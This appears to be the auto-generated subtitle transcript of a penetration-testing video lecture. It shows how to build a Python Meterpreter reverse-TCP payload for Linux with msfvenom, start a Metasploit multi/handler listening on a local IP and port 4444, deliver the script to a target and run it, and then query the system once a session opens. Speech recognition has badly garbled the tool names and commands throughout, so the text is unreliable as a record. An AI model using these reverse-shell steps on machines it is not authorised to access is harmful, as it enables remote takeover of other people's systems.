1 00:00:07,500 --> 00:00:14,060 Welcome in this lecture we are going to see how to create a larger better for the next systems here. 2 00:00:14,070 --> 00:00:19,530 Basically we are willing to create better file it is in Python script and sending that script to work 3 00:00:19,620 --> 00:00:22,410 machine when you execute the script. 4 00:00:22,410 --> 00:00:32,250 The better is to be creative to us so to create better file type a phenom I would be by tone slash reporter 5 00:00:32,850 --> 00:00:42,020 slash rewards DCP now enter the local host IP because the target mission is to connect what was and 6 00:00:42,020 --> 00:00:48,890 then enter the local port number to use an unwitting machine and lashed to the name and part of your 7 00:00:48,900 --> 00:00:51,500 payload file. 8 00:00:51,640 --> 00:00:56,130 Here you can see the Peter file is created now. 9 00:00:56,130 --> 00:01:03,050 Next we need to send this script to machine so to is an incoming Coalition from the target we need to 10 00:01:03,050 --> 00:01:03,880 open. 11 00:01:03,930 --> 00:01:08,180 What does platform work so type MSF console. 12 00:01:11,890 --> 00:01:22,740 Notice that the handler type use multi slash handler as you can see the handler is said now to set our 13 00:01:22,740 --> 00:01:29,880 payload type set payload by ton slash interpreter slash the words. 14 00:01:31,230 --> 00:01:43,070 Now we need to set local host and local port so to set local host type set l host 122 but 168 not 43 15 00:01:43,430 --> 00:01:44,580 not 32. 16 00:01:46,030 --> 00:01:56,540 Similarly to set local port by set and port 44 44 noticed dock type put on 17 00:01:59,750 --> 00:02:05,920 as you can see now we added Italy's an incoming connection. 18 00:02:06,060 --> 00:02:10,230 Here you can see I sent my python script to lifting machine. 19 00:02:10,520 --> 00:02:19,860 No let's execute this open a terminal and type pseudo digital because our payload is only external so 20 00:02:19,870 --> 00:02:25,180 before going to execute the script first we need to make it executable. 21 00:02:25,180 --> 00:02:36,390 So type C H A mode plus X sergeant not be what now or what payload file is executable so let's execute 22 00:02:36,420 --> 00:02:41,310 this script type based on origin not be. 23 00:02:44,650 --> 00:02:52,550 As you can see in terminal recording with report position now to see the basic information of our target 24 00:02:53,120 --> 00:02:54,540 type system info. 25 00:02:56,460 --> 00:03:04,100 As you can see some basic information of what the machine so that so you can get it back to the file 26 00:03:04,100 --> 00:03:05,420 for the next system. 27 00:03:07,400 --> 00:03:07,810 Thank you.